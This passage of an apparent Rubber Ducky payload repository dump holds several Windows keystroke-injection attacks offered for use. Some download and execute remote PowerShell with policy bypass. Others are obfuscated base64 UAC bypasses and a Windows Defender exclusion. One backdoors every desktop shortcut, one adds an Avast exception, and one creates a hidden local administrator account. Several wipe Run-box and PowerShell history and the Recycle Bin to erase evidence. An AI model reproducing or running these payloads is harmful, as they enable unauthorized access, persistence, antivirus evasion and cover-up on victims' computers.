constantly check if the mouse has been moved \n# if the mouse has not moved \"SCROLLLOCK\" will be pressed to prevent screen from turning off\n# it will then sleep for the indicated number of seconds and check again\n\nAdd-Type -AssemblyName System.Windows.Forms\n$originalPOS = [System.Windows.Forms.Cursor]::Position.X\n\n    while (1) {\n        $pauseTime = 3\n        if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){\n            break\n        }\n        else {\n            $o.SendKeys(\"{CAPSLOCK}\");Start-Sleep -Seconds $pauseTime\n        }\n    }\n############################################################################################################################################################\n\n# Play Sound \n$PlayWav=New-Object System.Media.SoundPlayer;$PlayWav.SoundLocation=\"$env:TMP\\e.wav\";$PlayWav.playsync()\n\n############################################################################################################################################################\n\n<#\n\n.NOTES \n\tThis is to clean up behind you and remove any evidence to prove you were there\n#>\n\n# Delete contents of Temp folder \n\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# Delete run box history\n\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\n\nRemove-Item (Get-PSreadlineOption).HistorySavePath\n\n# Deletes contents of recycle bin\n\nClear-RecycleBin -Force -ErrorAction SilentlyContinue\n\n"
  },
  {
    "path": "payloads/library/execution/-RD-Play-WAV/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Play-WAV\n\nA script used to download a WAV file and play it after a mouse movement is detected\n\n## Description\n\nThis program starts off by using an Invoke-WebRequest to download a WAV file\nThe system volume is then turned up to the max level\nThen the script will be paused until a mouse movement is detected \nAfter one is the WAV file will be played\n\n## Getting Started\n\n### Dependencies\n\n* DropBox - Your Shared link for the intended file\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download your WAV file\n```\npowershell -w h -NoP -NonI -Exec Bypass iwr https:// < Your Shared link for the intended file> ?dl=1 -O $env:TMP\\e.wav\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-Play-WAV)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/execution/-RD-Play-WAV/payload.txt",
    "content": "REM     Title: Play-WAV\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload is meant to play a WAV file hidden. See Play-WAV.ps1 for more details\n\nREM     Target: Windows 10, 11\n\nREM     Remeber to replace the link with your link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr https:// < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\nDELAY 500\nENTER\n"
  },
  {
    "path": "payloads/library/execution/-RD-SafeHaven/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Safe Haven\n\nA script used to open an elevated powershell console and created a folder ignored by the AntiVirus\n\n## Description\n\nThis is a UAC bypass payload that will open an elevated powershell console \n\nNext a Directory called \"safe\" will be generated in your Documents Directory\n\nThe \"safe\" directory will be added to the Window's Defender Exclusion list\n\nThe AntiVirus will ignore all files downloaded to or ran from here\n\n## Getting Started\n\n### Dependencies\n\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* A keystroke injection based payload will run\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: (https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-SafeHaven)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/execution/-RD-SafeHaven/SafeHaven.txt",
    "content": "REM     Title: Safe-Haven\r\n\r\nREM     Author: I am Jakoby\r\n\r\nREM     Description: This is a UAC bypass payload that will open an elevated powershell console \r\nREM     Next a Directory called \"safe\" will be generated in your Documents Directory\r\nREM     The \"safe\" directory will be added to the Window's Defender Exclusion list\r\nREM     The AntiVirus will ignore all files downloaded to or ran from here\r\n\r\nREM     Target: Windows 10, 11\r\n\r\nDELAY 500\r\nGUI r\r\nDELAY 500\r\nSTRING powershell \r\nENTER\r\n\r\nDELAY 1000\r\n\r\nSTRING & ( $PShoME[21]+$psHOME[30]+'x')(NEw-objECt  IO.COMpresSiON.DeflATESTrEAm([sYStEm.io.MeMOrySTreAm] [SYSTEM.CONVERT]::fROMBase64StRing('hZFPT8JAEMW/yqbxWiDqwYRweFvKtipiLRAhvdTusBj6L93qop/eXRKNXvCyyWTe+72Z2YvFXEy8tjHU6T2V5YCOxHzD9sx/aB7dU8fMD49UMP7R5lozn+qC3YIbiBASvMF0hFjhgHCFF8UvMW2wTvjS1SvFE8xiLA0XCA9Ygs8wM3gCf4eYQya8hzj5RojmeAb/dNyt4iWCGAvj+hpb8BZRjBg2JwI2idUL5focIrF99AhHKGDzrG6b8MpxC8cR19gYxwPuE5sfKVdrRLZvLFfcuPzkZx+r+7MfJhNv3JFiuZTMi+6CVZY2u97kHWVBaW9COhs0lcpSd8Fs0VKdFU1V5bX02FCyC3tjNtz9h6i0r6nvX2uls+CtW1N3cnsO7Tn/rpE2oKXOfdI47fOu99OSqGW+ZlcnvKSSejo7pPc9ynnt72lOli8=' ),[SYsTEM.io.cOmpressION.coMPRESsiOnmode]::DEcOMPRESS )| FoREACh-object{NEw-objECt  SySTeM.Io.StreaMreadER( $_ ,[System.teXT.EnCoDINg]::ASCiI) }|foReaCh-objEct {$_.ReAdToEND()} )\r\nENTER\r\n\r\n\r\n\r\n\r\n"
  },
  {
    "path": "payloads/library/execution/-RD-ShortcutJacker/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n\n<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+the;Shortcut+Jacker!+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# Shortcut Jacker\n\n<p align=\"left\">\n      <a href=\"https://www.youtube.com/watch?v=sOLIdqpzrW4\">\n        <img src=https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/SCJ-TV2.png width=\"300\" alt=\"Python\" />\n      </a>\n      <br>YouTube Tutorial\t\n</p>\n\nA script used to embed malware in the shortcut on your targets desktop\n\n## Description\n\nThis payload will run a powershell script in the background of any shortcut used on the targets desktop\n\nThis is done by taking advantage of the ```Target``` field where powershell commands can be stored or run. \n\nThis field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the ```$code``` variable and it will still run. \n\nSo if your command exceeds that consider using an IWR function to download and execute a longer script. \n\nI have an Invoke WebRequest tutorial for that [HERE](https://www.youtube.com/watch?v=bPkBzyEnr-w&list=PL3NRVyAumvmppdfMFMUzMug9Cn_MtF6ub&index=13)\n\n<img src=\"https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/properties.jpg\" width=\"300\">\n\nInside the .ps1 file you will find a line at the beginning with a ```$code``` variable. This is where the powershell code you want executed is stored.\n\n---------------------------------------------------------------------------------------------------------------------------------------------------------\n\n<img src=\"https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/code.jpg\" width=\"900\">\n\n---------------------------------------------------------------------------------------------------------------------------------------------------------\n\nUsing the ```Get-Shortcut``` function we will get the following information we can then use to maintain the integrity of the appearance of the shortcut after manipulating the ```Target``` field.\n\n<img src=\"https://github.com/I-Am-Jakoby/hak5-submissions/raw/main/Assets/Shortcut-Jacker/shortcut.jpg\" width=\"900\">\n\n## Getting Started\n\nOnce the script is executed all of the shortcuts on your target's desktop will be infected with the powershell code you have stored in the `$code` variable in the .ps1 file\n\n### Dependencies\n\n* An internet connection\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Invoke-WebRequest will be entered in the Run Box to download and execute the dependencies and payload\n```\npowershell -w h -NoP -NonI -Exec Bypass $pl = iwr < Your Shared link for the intended file> ?dl=1; invoke-expression $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://youtube.com/c/IamJakoby?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/I_Am_Jakoby\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.instagram.com/i_am_jakoby/\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width=\"48\" height=\"48\" alt=\"Golang\" />\n      </a>\n      <br>Instagram\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<p align=\"center\">\n        <img src=\"https://raw.githubusercontent.com/bornmay/bornmay/Update/svg/Bottom.svg\" alt=\"Github Stats\" />\n</p>\n"
  },
  {
    "path": "payloads/library/execution/-RD-ShortcutJacker/Shortcut-Jacker-Execute.txt",
    "content": "REM     Title: Shortcut-Jacker\n\nREM     Author: I am Jakoby\n\nREM     Description: This payload will run a powershell script in the background of any shortcut used on the targets desktop\n\nREM     Target: Windows 10, 11\n\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass $pl = iwr <Your Shared link for the intended file>?dl=1; invoke-expression $pl\nENTER\n\nREM     Remember to replace the link with your DropBox shared link for the intended file to download\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properly\n"
  },
  {
    "path": "payloads/library/execution/-RD-ShortcutJacker/Shortcut-Jacker.ps1",
    "content": "############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : Shortcut-Jacker   | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : Execution         | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 10,11     |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\n############################################################################################################################################################\n                                                                                                                                                                                                                                               \n<#\n.SYNOPSIS\n\tThis is payload used to inject powershell code into shortcuts\n\n.DESCRIPTION \n\tThis payload will gather information on the shortcuts on your targets desktop \n  \tThat data will then be manipulated to embed a powershell script \n  \tThis script will be ran in the background when the short cut is \n\n#>\n\n############################################################################################################################################################\n\n<#\n.NOTES\n\tThe powershell code stored in this variable is what will run in the background\n\tThis field can store a max of 259 VISIBLE characters in that bar however after some testing I found you can store 924 characters int the $code \n\tvariable and it will still run.\n#>  \n\n$code = \"Add-Type -AssemblyName PresentationCore,PresentationFramework; [System.Windows.MessageBox]::Show('Hacked')\"\n\n############################################################################################################################################################\n\nfunction Get-Shortcut {\n  param(\n    $path = $null\n  )\n\n  $obj = New-Object -ComObject WScript.Shell\n\n  if ($path -eq $null) {\n    $pathUser = [System.Environment]::GetFolderPath('StartMenu')\n    $pathCommon = $obj.SpecialFolders.Item('AllUsersStartMenu')\n    $path = dir $pathUser, $pathCommon -Filter *.lnk -Recurse \n  }\n  if ($path -is [string]) {\n    $path = dir $path -Filter *.lnk\n  }\n  $path | ForEach-Object { \n    if ($_ -is [string]) {\n      $_ = dir $_ -Filter *.lnk\n    }\n    if ($_) {\n      $link = $obj.CreateShortcut($_.FullName)\n\n      $info = @{}\n      $info.Hotkey = $link.Hotkey\n      $info.TargetPath = $link.TargetPath\n      $info.LinkPath = $link.FullName\n      $info.Arguments = $link.Arguments\n      $info.Target = try {Split-Path $info.TargetPath -Leaf } catch { 'n/a'}\n      $info.Link = try { Split-Path $info.LinkPath -Leaf } catch { 'n/a'}\n      $info.WindowStyle = $link.WindowStyle\n      $info.IconLocation = $link.IconLocation\n\n      return $info\n    }\n  }\n}\n\n#-----------------------------------------------------------------------------------------------------------\n\nfunction Set-Shortcut {\n  param(\n  [Parameter(ValueFromPipelineByPropertyName=$true)]\n  $LinkPath,\n  $IconLocation,\n  $Arguments,\n  $TargetPath\n  )\n  begin {\n    $shell = New-Object -ComObject WScript.Shell\n  }\n\n  process {\n    $link = $shell.CreateShortcut($LinkPath)\n\n    $PSCmdlet.MyInvocation.BoundParameters.GetEnumerator() |\n      Where-Object { $_.key -ne 'LinkPath' } |\n      ForEach-Object { $link.$($_.key) = $_.value }\n    $link.Save()\n  }\n}\n\n#-----------------------------------------------------------------------------------------------------------\n\nfunction hijack{\n$Link = $i.LinkPath\n$Loc = $i.IconLocation\n$TargetPath = $i.TargetPath\nif($Loc.length -lt 4){$Loc = \"$TargetPath$Loc\"}\n$Target = $i.Target\nif(Test-Path -Path \"$Link\" -PathType Leaf){Set-Shortcut -LinkPath \"$Link\" -IconLocation \"$Loc\" -Arguments \"-w h -NoP -NonI -Exec Bypass start-process '$TargetPath';$code\" -TargetPath \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"}\n}\n\n#-----------------------------------------------------------------------------------------------------------\n\nGet-ChildItem –Path \"$Env:USERPROFILE\\Desktop\" -Filter *.lnk |Foreach-Object {$i = Get-Shortcut $_.FullName;hijack $_.FullName}\n"
  },
  {
    "path": "payloads/library/execution/-RD-UrAttaControl/README.md",
    "content": "![Logo](https://github.com/I-Am-Jakoby/hak5-submissions/blob/main/Assets/logo-170-px.png?raw=true)\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# UrAttaControl\n\nA script used to open an elevated powershell console and execute admin level commands\n\n## Description\n\nCompletely ran from the execute file. Replace the URL in that file with yours leading to a base64 script\n\nThis script will use IEX to download a base64 script to the $Payload variable\n\nUsing a keystroke injections attack a heavily obfuscated and encoded snippet will download and execute any base64 \n\nscript saved in the $Payload variable\n\nThis payload completely bypasses the UAC and will run any admin level script without a prompt\n\nYou can use this function I wrote to convert your .ps1 sscripts to Base64\n\nhttps://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/B64.md\n\n## Getting Started\n\n### Dependencies\n\n* DropBox or other file sharing service - Your Shared link for the intended file\n* Windows 10,11\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* A keystroke injection based payload will run\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here\n\nI am Jakoby\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<div><h2>I am Jakoby</h2></div>\n  <p><br/>\n  \n  <img src=\"https://media.giphy.com/media/VgCDAzcKvsR6OM0uWg/giphy.gif\" width=\"50\"> \n  \n  <a href=\"https://github.com/I-Am-Jakoby/\">\n    <img src=\"https://img.shields.io/badge/GitHub-I--Am--Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.instagram.com/i_am_jakoby/\">\n    <img src=\"https://img.shields.io/badge/Instagram-i__am__jakoby-red\">\n  </a>\n  \n  <a href=\"https://twitter.com/I_Am_Jakoby/\">\n    <img src=\"https://img.shields.io/badge/Twitter-I__Am__Jakoby-blue\">\n  </a>\n  \n  <a href=\"https://www.youtube.com/c/IamJakoby/\">\n    <img src=\"https://img.shields.io/badge/YouTube-I_am_Jakoby-red\">\n  </a>\n\n  Project Link: [https://github.com/I-Am-Jakoby/hak5-submissions/tree/main/RubberDucky/Payloads/RD-UrAttaControl)\n</p>\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [MG](https://github.com/OMG-MG)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/execution/-RD-UrAttaControl/UrAttaControl-Execute.txt",
    "content": "REM     Title: UrAttaControl\n\nREM     Author: I am Jakoby\n\nREM     Description: This is a UAC bypass payload that will open an elevated powershell console and run any script.\nREM     Reaplce the URL down below with a link to a base64 encoded payload you have. See README.md for more details\n\nREM     Target: Windows 10, 11\n\nREM\t  NOTES: Additionally instead of pulling down your script with IWR you can hardcode the Base64 script to the $Payload variable\nREM     EXAMPLE: $Payload = \"cwB0AGEAcgB0ACAAbgBvAHQAZQBwAGEAZAA=\"\t\t- This Base64 script will open notepad\n\nREM     You can use this function I wrote to convert your .ps1 sscripts to Base64\nREM     https://github.com/I-Am-Jakoby/PowerShell-for-Hackers/blob/main/Functions/B64.md\t\n\nGUI r\nDELAY 500\nSTRING powershell \nENTER\n\nDELAY 1000\n\nSTRING $url = \"YOUR-URL-WITH-BASE64-ENCODED-SCRIPT\"\nSHIFT ENTER\nSTRING $Payload = (Invoke-WebRequest $url'?dl=1').Content\nSHIFT ENTER\nSTRING ( nEw-obJECt Io.cOMprEssion.dEfLAtEStreAM([iO.MEMoRysTream][coNVerT]::FrOMBasE64sTring( 'hY69CsIwFEZf5RK6ph0ci1MHBZEKQacsoflahfyRRKpvb1MQnOp2h3vOd6r+fNiz4GfEdIcxNV4gDjdQdVFv45Um1kZMpPRyHU/dVQo/5llFyM6olJBk7e0kRaFlH+Dk4K1VTjNqNFWLn5rxn8ImnpDzw01Jds94Q1xpVtSs8KPXy0BALIGtyCpmLgwQiCfarXoNg4zNSPZN2f79rVmRDw=='), [SySTEM.Io.cOmprEsSION.comprEsSiOnmOdE]::DECoMPress )| ForeAch{ nEw-obJECt IO.stReaMReAdEr( $_, [SYSTEm.TEXT.encODINg]::aSciI ) } |ForEaCh { $_.rEAdtoENd() } )|& ( $VeRBosEPreFEreNcE.tosTRING()[1,3]+'x'-joIN'')\nSHIFT ENTER\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/README.md",
    "content": "# Add An Excepiton To Avast Antivirus\n\nThis script can be used to put an arbitrary exception path in the Avast app.\n\n**Category**: Execution\n\n## Description\n\nThis script can be used to put an arbitrary exception path in the Avast app.\n\nThe script open the Avast app, then go to menu, then go to, avast settings, then go to exception menu, then click the add exception button, then write the full-path defined before and save it, then close the app.\n\nChoosing a specific file, folder, or website will exclude it from all Avast shields and scans, so be very careful when using this payload because it can concretely cause damage to your machine.\n\n- You must edit the FULL-PATH with the path that you want to set as exception in the payload.txt file\n\n```DuckyScript\nREM Set the full-path that you want to set as exception\nDEFINE FULL-PATH example/to/path\n```\n\n### Dependencies\n\n* The target must have **Avast installed** and **configured** on the machine\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Add_An_Excepiton_To_Avast_Antivirus/payload.txt",
    "content": "REM ########################################################\nREM #                                                      |\nREM # Title        : Add An Exception To Avast Antivirus   |\nREM # Author       : Aleff                                 |\nREM # Version      : 1.0                                   |\nREM # Category     : Execution                               |\nREM # Target       : Windows 10/11                         |\nREM #                                                      |\nREM ########################################################\n\n\nREM Requirements:\nREM     - Avast installed and configured\n\n\nREM Set the full-path that you want to set as exception\nDEFINE FULL-PATH example/to/path\n\n\nREM Open Avast application\nDELAY 2000\nGUI\nDELAY 1000\nSTRING avast\nDELAY 1000\nENTER\n\nREM Go to Avast menu\nDELAY 1000\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM Go to Avast settings\nDELAY 1000\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM Go to Exceptions menu\nDELAY 1000\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM Add Exception button\nDELAY 500\nTAB\nDELAY 500\nENTER\n\nREM Write the full-path and then close the Avast app\nDELAY 1000\nTAB\nDELAY 500\nSTRING FULL-PATH\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Add_Local_Admin/payload.txt",
    "content": "REM Title: Add_Local_Admin\nREM Author: LulzAnarchyAnon\nREM Description: Administrator PowerShell is opened, and resized for a more stealthy payload delivery, then the payload\nREM creates a local admin account on the target system, afterwards powershell exits, and all history is cleared. \nREM This lightning fast payload deployed, and was completed in a test run in 10.57 seconds\nREM Target: Windows 10 and 11  \nREM Props: Darren Kitchen, and I am Jakoby\nREM Version: 3.0\nREM Category: Execution\n\n\nDELAY 200\nGUI r\nDELAY 200\nSTRINGLN powershell -Command \"Start-Process PowerShell -Verb RunAs\"  \nDELAY 500\nALT y\nDELAY 500\nSTRINGLN\n                 PowerShell.exe -noe -c \". mode.com con: lines=5 cols=12\"\n                 $Username = \"Admin2\"\n                 $Password = \"password\"\n                 $group = \"Administrators\"\n                 $adsi = [ADSI]\"WinNT://$env:COMPUTERNAME\"\n                 $existing = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }\n                 if ($existing -eq $null) {\n                 Write-Host \"Creating new local user $Username.\"\n                 & NET USER $Username $Password /add /y /expires:never\n                 Write-Host \"Adding local user $Username to $group.\"\n                 & NET LOCALGROUP $group $Username /add\n                 }\n                 {\n                Write-Host \"Setting password for existing local user $Username.\"\n                $existing.SetPassword($Password)\n                }\n               Write-Host \"Ensuring password for $Username never expires.\"\n               & WMIC USERACCOUNT WHERE \"Name='$Username'\" SET PasswordExpires=FALSE\n               rm $env:TEMP\\* -r -Force 